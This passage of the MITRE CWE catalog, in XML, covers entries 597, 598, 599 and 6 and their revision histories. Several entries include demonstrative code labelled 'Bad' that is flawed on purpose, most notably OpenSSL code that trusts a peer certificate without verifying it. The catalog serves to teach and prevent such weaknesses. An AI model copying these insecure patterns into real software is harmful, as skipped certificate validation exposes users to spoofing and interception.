               <xhtml:p>Comments: see description for suggestions of other CWEs to consider.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Content Team</Submission_Name>
				<Submission_Organization>MITRE</Submission_Organization>
                <Submission_Date>2006-12-15</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Sean Eidemiller</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>added/updated demonstrative examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Detection_Factors, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Detection_Factors</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Description, Detection_Factors, Name, Relationships, Time_of_Introduction, Type</Modification_Comment>
            </Modification>
            <Previous_Entry_Name Date="2008-04-11">Incorrect Object Comparison: Semantic</Previous_Entry_Name>
            <Previous_Entry_Name Date="2018-03-27">Incorrect Semantic Object Comparison</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="597" Name="Use of Wrong Operator in String Comparison" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product uses the wrong operator when comparing a string, such as using "==" when the .equals() method should be used instead.</Description>
         <Extended_Description>In Java, using == or != to compare two strings for equality actually compares two objects for equality rather than their string values for equality. Chances are good that the two references will never be equal. While this weakness often only affects program correctness, if the equality is used for a security decision, the unintended comparison result could be leveraged to affect program security.</Extended_Description>
         <Related_Weaknesses>
             <Related_Weakness Nature="ChildOf" CWE_ID="595" View_ID="1000" Ordinal="Primary"/>
             <Related_Weakness Nature="ChildOf" CWE_ID="595" View_ID="1305" Ordinal="Primary"/>
             <Related_Weakness Nature="ChildOf" CWE_ID="480" View_ID="1000"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Other</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Within Java, use .equals() to compare string values.<xhtml:br/>
               Within JavaScript, use == to compare string values.<xhtml:br/>
               Within PHP, use == to compare a numeric value to a string value. (PHP converts the string to a number.)
               </Description>
               <Effectiveness>High</Effectiveness>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-60">
               <Intro_Text>In the example below, two Java String objects are declared and initialized with the same string values. An if statement is used to determine if the strings are equivalent.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>String str1 = new String("Hello");<xhtml:br/>String str2 = new String("Hello");<xhtml:br/>if (str1 == str2) {<xhtml:div style="margin-left:1em;">System.out.println("str1 == str2");</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>However, the if statement will not be executed as the strings are compared using the "==" operator. For Java objects, such as String objects, the "==" operator compares object references, not object values. While the two String objects above contain the same string values, they refer to different object references, so the System.out.println statement will not be executed. To compare object values, the previous code could be modified to use the equals method:</Body_Text>
               <Example_Code Nature="Good">
                  <xhtml:div>if (str1.equals(str2)) {<xhtml:div style="margin-left:1em;">System.out.println("str1 equals str2");</xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>In the example below, three JavaScript variables are declared and initialized with the same values. Note that JavaScript will change a value between numeric and string as needed, which is the reason an integer is included with the strings. An if statement is used to determine whether the values are the same.</Intro_Text>
               <Example_Code Nature="Bad" Language="JavaScript">
                  &lt;p id="ieq3s1" type="text"&gt;(i === s1) is FALSE&lt;/p&gt;<xhtml:br/>
                  &lt;p id="s4eq3i" type="text"&gt;(s4 === i) is FALSE&lt;/p&gt;<xhtml:br/>
                  &lt;p id="s4eq3s1" type="text"&gt;(s4 === s1) is FALSE&lt;/p&gt;<xhtml:br/>
                  <xhtml:br/>
                  var i = 65;<xhtml:br/>
                  var s1 = '65';<xhtml:br/>
                  var s4 = new String('65');<xhtml:br/>
                  <xhtml:br/>
                  if (i === s1)<xhtml:br/>
                  {<xhtml:br/>
                  <xhtml:div style="margin-left:1em;">document.getElementById("ieq3s1").innerHTML = "(i === s1) is TRUE";</xhtml:div>
                  }<xhtml:br/>
                  <xhtml:br/>
                  if (s4 === i)<xhtml:br/>
                  {<xhtml:br/>
                  <xhtml:div style="margin-left:1em;">document.getElementById("s4eq3i").innerHTML = "(s4 === i) is TRUE";</xhtml:div>
                  }<xhtml:br/>
                  <xhtml:br/>
                  if (s4 === s1)<xhtml:br/>
                  {<xhtml:br/>
                  <xhtml:div style="margin-left:1em;">document.getElementById("s4eq3s1").innerHTML = "(s4 === s1) is TRUE";</xhtml:div>
                  }<xhtml:br/>
               </Example_Code>
               <Body_Text><xhtml:p>However, the body of the if statement will not be executed, as the "===" compares both the type of the variable AND the value. As the types of the first comparison are number and string, it fails. The types in the second are int and reference, so this one fails as well. The types in the third are reference and string, so it also fails.</xhtml:p>
               <xhtml:p>While the variables above contain the same values, they are contained in different types, so the document.getElementById... statement will not be executed in any of the cases.</xhtml:p>
               <xhtml:p>To compare object values, the previous code is modified and shown below to use the "==" for value comparison so the comparison in this example executes the HTML statement:</xhtml:p></Body_Text>
               <Example_Code Nature="Good" Language="JavaScript">
                  &lt;p id="ieq2s1" type="text"&gt;(i == s1) is FALSE&lt;/p&gt;<xhtml:br/>
                  &lt;p id="s4eq2i" type="text"&gt;(s4 == i) is FALSE&lt;/p&gt;<xhtml:br/>
                  &lt;p id="s4eq2s1" type="text"&gt;(s4 == s1) is FALSE&lt;/p&gt;<xhtml:br/>
                  <xhtml:br/>
                  var i = 65;<xhtml:br/>
                  var s1 = '65';<xhtml:br/>
                  var s4 = new String('65');<xhtml:br/>
                  <xhtml:br/>
                  if (i == s1)<xhtml:br/>
                  {<xhtml:br/>
                  <xhtml:div style="margin-left:1em;">document.getElementById("ieq2s1").innerHTML = "(i == s1) is TRUE";</xhtml:div>
                  }<xhtml:br/>
                  <xhtml:br/>
                  if (s4 == i)<xhtml:br/>
                  {<xhtml:br/>
                  <xhtml:div style="margin-left:1em;">document.getElementById("s4eq2i").innerHTML = "(s4 == i) is TRUE";</xhtml:div>
                  }<xhtml:br/>
                  <xhtml:br/>
                  if (s4 == s1)<xhtml:br/>
                  {<xhtml:br/>
                  <xhtml:div style="margin-left:1em;">document.getElementById("s4eq2s1").innerHTML = "(s4 == s1) is TRUE";</xhtml:div>
                  }<xhtml:br/>
               </Example_Code>
            </Demonstrative_Example>

            <Demonstrative_Example>
               <Intro_Text>In the example below, two PHP variables are declared and initialized with the same numbers - one as a string, the other as an integer. Note that PHP will change the string value to a number for a comparison. An if statement is used to determine whether the values are the same.</Intro_Text>
               <Example_Code Nature="Bad" Language="PHP">
                  var $i = 65;<xhtml:br/>
                  var $s1 = "65";<xhtml:br/>
                  <xhtml:br/>
                  if ($i === $s1)<xhtml:br/>
                  {<xhtml:br/>
                  <xhtml:div style="margin-left:1em;">echo '($i === $s1) is TRUE'. "\n";</xhtml:div>
                  }<xhtml:br/>
                  else<xhtml:br/>
                  {<xhtml:br/>
                  <xhtml:div style="margin-left:1em;">echo '($i === $s1) is FALSE'. "\n";</xhtml:div>
                  }<xhtml:br/>
               </Example_Code>
               <Body_Text><xhtml:p>However, the body of the if statement will not be executed, as the "===" compares both the type of the variable AND the value. As the types of the first comparison are number and string, it fails.</xhtml:p>
               <xhtml:p>While the variables above contain the same values, they are contained in different types, so the TRUE portion of the if statement will not be executed.</xhtml:p>
               <xhtml:p>To compare object values, the previous code is modified and shown below to use the "==" for value comparison (string converted to number) so the comparison in this example executes the TRUE statement:</xhtml:p></Body_Text>
               <Example_Code Nature="Good" Language="PHP">
                  var $i = 65;<xhtml:br/>
                  var $s1 = "65";<xhtml:br/>
                  <xhtml:br/>
                  if ($i == $s1)<xhtml:br/>
                  {<xhtml:br/>
                  <xhtml:div style="margin-left:1em;">echo '($i == $s1) is TRUE'. "\n";</xhtml:div>
                  }<xhtml:br/>
                  else<xhtml:br/>
                  {<xhtml:br/>
                  <xhtml:div style="margin-left:1em;">echo '($i == $s1) is FALSE'. "\n";</xhtml:div>
                  }<xhtml:br/>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>EXP03-J</Entry_ID>
               <Entry_Name>Do not use the equality operators when comparing values of boxed primitives</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>EXP03-J</Entry_ID>
               <Entry_Name>Do not use the equality operators when comparing values of boxed primitives</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="SEI CERT Perl Coding Standard">
               <Entry_ID>EXP35-PL</Entry_ID>
               <Entry_Name>Use the correct operator type for comparing values</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP1</Entry_ID>
               <Entry_Name>Glitch in computation</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-62" Section="Chapter 6, &#34;Typos&#34;, Page 289"/>
         </References>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Content Team</Submission_Name>
				<Submission_Organization>MITRE</Submission_Organization>
                <Submission_Date>2006-12-15</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Description, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, References, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Description, Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Erroneous String Compare</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="598" Name="Use of GET Request Method With Sensitive Query Strings" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The web application uses the HTTP GET method to process a request and includes sensitive information in the query string of that request.</Description>
	 <Extended_Description>The query string for the URL could be saved in the browser's history, passed through Referers to other web sites, stored in web logs, or otherwise recorded in other sources.  If the query string contains sensitive information such as session identifiers, then attackers can use this information to launch further attacks.
	 </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="201" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
               <Note>At a minimum, attackers can garner information from query strings that can be utilized in escalating their method of attack, such as information about the internal workings of the application or database column names. Successful exploitation of query string parameter vulnerabilities could lead to an attacker impersonating a legitimate user, obtaining proprietary data, or simply executing actions not intended by the application developers.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>When sensitive information is sent, use the POST method (e.g. registration form).</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP23</Entry_ID>
               <Entry_Name>Exposed Data</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Community</Submission_Name>
                <Submission_Date>2006-12-15</Submission_Date>
				<Submission_Comment>Submitted by members of the CWE community to extend early CWE versions</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description, Name, Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Information Leak Through GET Request</Previous_Entry_Name>
            <Previous_Entry_Name Date="2011-03-29">Information Leak Through Query Strings in GET Request</Previous_Entry_Name>
			<Previous_Entry_Name Date="2020-02-24">Information Exposure Through Query Strings in GET Request</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="599" Name="Missing Validation of OpenSSL Certificate" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product uses OpenSSL and trusts or uses a certificate without using the SSL_get_verify_result() function to ensure that the certificate satisfies all necessary security requirements.</Description>
         <Extended_Description>This could allow an attacker to use an invalid certificate to claim to be a trusted host, use expired certificates, or conduct other attacks that could be detected if the certificate is properly validated.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="295" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
               <Note>The data read may not be properly secured, it might be viewed by an attacker.</Note>
            </Consequence>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Note>Trust afforded to the system in question may allow for spoofing or redirection attacks.</Note>
            </Consequence>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Note>If the certificate is not checked, it may be possible for a redirection or spoofing attack to allow a malicious host with a valid certificate to provide data under the guise of a trusted host. While the attacker in question may have a valid certificate, it may simply be a valid certificate for a different site. In order to ensure data integrity, we must check that the certificate is valid, and that it pertains to the site we wish to access.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Ensure that proper authentication is included in the system design.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Understand and properly implement all checks necessary to ensure the identity of entities involved in encrypted communications.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-125">
               <Intro_Text>The following OpenSSL code ensures that the host has a certificate.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>if (cert = SSL_get_peer_certificate(ssl)) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>
                           <xhtml:i>// got certificate, host can be trusted</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>//foo=SSL_get_verify_result(ssl);</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>//if (X509_V_OK==foo) ...</xhtml:i>
                           <xhtml:br/>
                        </xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>Note that the code does not call SSL_get_verify_result(ssl), which effectively disables the validation step that checks the certificate.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Notes>
            <Note Type="Relationship">CWE-295 and CWE-599 are very similar, although CWE-599 has a more narrow scope that is only applied to OpenSSL certificates. As a result, other children of CWE-295 can be regarded as children of CWE-599 as well. CWE's use of one-dimensional hierarchical relationships is not well-suited to handle different kinds of abstraction relationships based on concepts like types of resources ("OpenSSL certificate" as a child of "any certificate") and types of behaviors ("not validating expiration" as a child of "improper validation").</Note>
         </Notes>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Community</Submission_Name>
                <Submission_Date>2006-12-15</Submission_Date>
				<Submission_Comment>Submitted by members of the CWE community to extend early CWE versions</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Description, Name, Relationship_Notes, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-09-19</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Modes_of_Introduction, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">No OpenSSL Certificate Check Performed before Use</Previous_Entry_Name>
            <Previous_Entry_Name Date="2013-02-21">Trust of OpenSSL Certificate Without Validation</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="6" Name="J2EE Misconfiguration: Insufficient Session-ID Length" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The J2EE application is configured to use an insufficient session ID length.</Description>
         <Extended_Description>If an attacker can guess or steal a session ID, then they may be able to take over the user's session (called session hijacking). The number of possible session IDs increases with increased session ID length, making it more difficult to guess or steal a session ID.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="334" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="Java" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Background_Details>
            <Background_Detail>
               <xhtml:p>Session ID's can be used to identify communicating parties in a web environment.</xhtml:p>
               <xhtml:p>The expected number of seconds required to guess a valid session identifier is given by the equation: (2^B+1)/(2*A*S) Where: - B is the number of bits of entropy in the session identifier. - A is the number of guesses an attacker can try each second. - S is the number of valid session identifiers that are valid and available to be guessed at any given time. The number of bits of entropy in the session identifier is always less than the total number of bits in the session identifier. For example, if session identifiers were provided in ascending order, there would be close to zero bits of entropy in the session identifier no matter the identifier's length. Assuming that the session identifiers are being generated using a good source of random numbers, we will estimate the number of bits of entropy in a session identifier to be half the total number of bits in the session identifier. For realistic identifier lengths this is possible, though perhaps optimistic.</xhtml:p>
            </Background_Detail>
         </Background_Details>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>COMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.</Note>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Note>If an attacker can guess an authenticated user's session identifier, they can take over the user's session.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
